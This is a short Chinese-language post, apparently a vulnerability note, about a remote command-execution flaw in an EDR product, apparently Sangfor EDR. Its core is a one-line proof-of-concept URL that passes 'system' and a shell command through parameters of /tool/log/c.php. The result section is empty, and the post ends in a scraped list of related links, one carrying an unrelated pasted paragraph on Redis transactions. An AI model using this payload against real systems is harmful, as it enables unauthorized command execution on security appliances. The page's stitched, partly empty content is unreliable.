EDR
使用范围
由于只有POC 没有详细细节。暂时不知道具体细节。
部分EDR 已经完成升级，不存在该漏洞。
POC
https://XXX:8081/tool/log/c.php?strip_slashes=system&host=ls 命令执行点为 ls
结果如下：
相关文章
- sangforEDR 任意命令执行
- fastjson 1.2.24 反序列化导致任意命令执行漏洞
- fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录
- 执行Maven install或Maven test命令时控制台输出乱码的解决办法
- Redis --- redis事务和分布式事务锁-事务过程中失败有两种可能： Redis 命令只会因为错误的语法而失败（并且这些问题不能在入队时发现），或是命令中用在了错误类型的键上面，所以如果在生产环境中你使用的正常命令，那么在 Redis 事务中，是不会出现错误而导致回滚的。 来自文档：Redis commands can fail only if called with a wrong syntax... 事务执行一半，Redis宕机。如果 Redis 服务器因为某些原因被管理员杀死，或者遇上某种硬件故障，那么可能只有部分事务命令会被成功写入到磁盘中。如果 Redis 在重新启动时发现 AOF 文件出了这样的问题，那么它会退出，并汇报一个错误。使用redis-check-aof程序可以修复这一问题：它会移除 AOF 文件中不完整事务的信息，确保服务器可以顺利启动 注意： 若在事务队列中存在命令性错误（类似于java编译性错误），则执行EXEC命令时，所有命令都不会执行 若在事务队列中存在语法性错误（类似于java的1/0的运行时异常），则执行EXEC命令时，其他正确命令会被执行，错误命令抛出异常。 Redis 官网也解释了自己为啥不支持回滚。简单来说就是 Redis 开发者们觉得没必要支持回滚，这样更简单便捷并且性能更好（回滚还需要解决回滚事务覆盖的问题）。Redis 开发者觉得即使命令执行错误也应该在开发过程中就被发现而不是生产过程中。
- ubuntu使用git提交github时，执行pull或者push命令要重新输入用户名和密码
- java应用程序远程登录linux并执行其命令（ssh jar包）
- bat脚本执行命令行
- which 命令在Linux中是一个快速查找可执行文件位置的工具-概念
- shell脚本-linux如何在脚本中远程到一台linux机器并执行命令